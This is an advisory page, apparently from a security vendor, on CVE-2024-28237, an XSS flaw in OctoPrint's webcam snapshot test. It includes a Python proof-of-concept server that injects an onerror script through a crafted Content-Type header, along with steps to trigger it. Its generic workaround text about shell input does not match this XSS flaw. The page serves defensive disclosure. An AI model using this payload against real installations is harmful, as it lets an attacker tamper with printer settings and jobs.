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CVE-2024-28237 — octoprint

MEDIUMFix: OctoPrint/OctoPrint@779894c

CVE-2024-28237 is a medium-severity (CVSS 4) Cross-site Scripting (XSS) vulnerability in octoprint. 1 public exploit or proof-of-concept reference is indexed, so weaponization risk is real. A fix is available for octoprint — see the affected versions and patch details below.

OctoPrint XSS via the "Snapshot Test" feature in Classic Webcam plugin settings

Also known asGHSA-x7mf-wrh9-r76cPYSEC-2024-179
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
1 known
Exploitation data as of Nov 6, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2024-28237.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs38th percentile — riskier than 38% of all scored CVEsHighest risk
0.00%0.33%0.66%0.99%0.5%0.4%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐍octoprint

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Description

Impact

OctoPrint versions up until and including 1.9.3 contain a vulnerability that allows malicious admins to configure or talk a victim with administrator rights into configuring a webcam snapshot URL which when tested through the "Test" button included in the web interface will execute JavaScript code in the victims browser when attempting to render the snapshot image.

An attacker who successfully talked a victim with admin rights into performing a snapshot test with such a crafted URL could use this to retrieve or modify sensitive configuration settings, interrupt prints or otherwise interact with the OctoPrint instance in a malicious way.

Patches

The vulnerability will be patched in version 1.10.0.

Workaround

OctoPrint administrators are strongly advised to thoroughly vet who has admin access to their installation and what settings they modify based on instructions by strangers.

PoC

Below are the steps to reproduce the vulnerability:

  1. Create a URL that responds with a malicious content type. For example, creating the following python script:

    from http.server import BaseHTTPRequestHandler, HTTPServer
    
    class MyHTTPRequestHandler(BaseHTTPRequestHandler):
        def do_GET(self):
            self.send_response(200)
            self.send_header('Content-Type', 'image/"onerror="alert(1)"')
            self.end_headers()
            self.wfile.write(b'Ok')
    
    def run():
        server_address = ('', 8080)
        httpd = HTTPServer(server_address, MyHTTPRequestHandler)
        print('Server listening on 0.0.0.0:8080...')
        httpd.serve_forever()
    
    if __name__ == '__main__':
        run()
    
  2. Go to OctoPrint settings --> Plugins --> Classic Webcam and enter the URL of that page as the Snapshot URL.

  3. Click on the "Test" button to trigger XSS. A Javascript alert should appear, demonstrating the actual code injection.

Credits

This vulnerability was discovered and responsibly disclosed to OctoPrint by Jacopo Tediosi.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIoctoprintall versions1.10.0rc3pip install --upgrade 'octoprint==1.10.0rc3'

Affected Products

1 product · 3 configurations
Application
octoprintoctoprint
< 1.10.0
1 version
1.10.0
Exploits & PoCs
1

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for octoprint, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update octoprint to 1.10.0rc3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-28237 is resolved across your whole dependency graph.

  3. Workarounds

    Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.

Frequently Asked Questions

### Impact OctoPrint versions up until and including 1.9.3 contain a vulnerability that allows malicious admins to configure or talk a victim with administrator rights into configuring a webcam snapshot URL which when tested through the "Test" button included in the web interface will execute JavaScript code in the victims browser when attempting to render the snapshot image. An attacker who successfully talked a victim with admin rights into performing a snapshot test with such a crafted URL could use this to retrieve or modify sensitive configuration settings, interrupt prints or otherwise
O3 Security · Impact-Aware SCA

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